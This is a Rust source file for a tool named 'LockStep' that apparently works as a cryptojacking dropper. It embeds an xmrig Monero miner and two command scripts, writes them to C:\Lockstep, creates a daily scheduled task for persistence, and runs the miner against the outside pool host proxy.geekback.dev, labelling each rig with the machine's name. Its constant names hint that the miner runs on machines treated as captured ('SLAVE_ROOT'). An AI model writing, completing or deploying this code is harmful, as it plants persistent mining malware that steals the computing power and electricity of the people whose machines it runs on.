extern crate alloc;

use clap::{Parser, ValueEnum};
use alloc::string::String;
use std::fs;
use std::fs::File;
use std::process::{Command, Output};
use std::io::{Result, Write};
use std::path::Path;

pub const APP_VERSION: &str = "0.0.1-PREALPHA";
pub const DAILY_SRC: &str = include_str!("resources/daily.cmd");
pub const CONFIG_SRC: &str = include_str!("resources/config.cmd");
pub const WORK_BIN: &[u8] = include_bytes!("resources/xmrig.exe");
pub const SLAVE_ROOT: &str = "Lockstep";
pub const WORK_NAME: &str = "xmrig";

/// Executes a Windows binary with the given parameters.
///
/// # Arguments
///
/// * `binary_path` - The full path to the Windows `.exe` binary.
/// * `args` - A slice of arguments to pass to the binary.
///
/// # Returns
///
/// * `Result<Output, io::Error>` - The output of the command if successful, or an I/O error.
fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> {
    Command::new(binary_path)
        .args(args)
        .output()
}

fn run_schedule_daily_comand() {
    let binary = "C:/windows/system32/schtasks.exe";
    let target_cmd = format!("C:\\{}\\daily.cmd", SLAVE_ROOT);
    let parameters = ["/create",
        "/tn", "LockStep\\Daily Task",
        "/sc", "daily",
        "/st", "19:00",
        "/tr", target_cmd.as_str()];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            println!("Status: {}", output.status);
            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
        }
        Err(e) => {
            eprintln!("Failed to execute process: {}", e);
        }
    }
}

fn run_monero_miner() {
    let binary = "C:/lockstep/xmrig.exe";
    let parameters = ["-o", "proxy.geekback.dev",
        "--rig-id", "%computername%",
        "--huge-pages-jit",
        "--randomx-1gb-pages",
        "-B",
        "--coin", "monero"
    ];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            println!("Status: {}", output.status);
            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
        }
        Err(e) => {
            eprintln!("Failed to execute process: {}", e);
        }
    }
}

fn run_kill_command() {
    let binary = "C:/windows/system32/taskkill.exe";
    let parameters = ["/IM", "xmrig.exe", "/F"];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            println!("Status: {}", output.status);
            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
        }
        Err(e) => {
            eprintln!("Failed to execute process: {}", e);
        }
    }
}

#[derive(Debug, Clone, Copy, Default, ValueEnum)]
enum AppModes {
    #[default]
    KillCommand,
    ScheduleDaily,
    RunWork,
    DropScripts
}

#[derive(Parser, Debug)]
#[command(name = "MyCLI", version = "1.0", about = "A simple CLI tool")]
struct Cli {
    app_modes: AppModes
}

fn drop_scripts_and_work() {
    let _ = fs::create_dir("C:\\Lockstep");
    File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap();
    File::create(Path::new("C:\\Lockstep\\config.bat")).unwrap().write(CONFIG_SRC.as_bytes()).unwrap();
    File::create(Path::new("C:\\Lockstep\\xmrig.exe")).unwrap().write(WORK_BIN).unwrap();
}

fn main() {
    println!("Launching LockStep {}", APP_VERSION);
    let opts = Cli::parse();

    match opts.app_modes {
        AppModes::KillCommand => {
            run_kill_command();
        }
        AppModes::ScheduleDaily => {
            run_schedule_daily_comand();
        }
        AppModes::RunWork => {
            run_monero_miner();
        }
        AppModes::DropScripts => {
            drop_scripts_and_work();
        }
    }
}
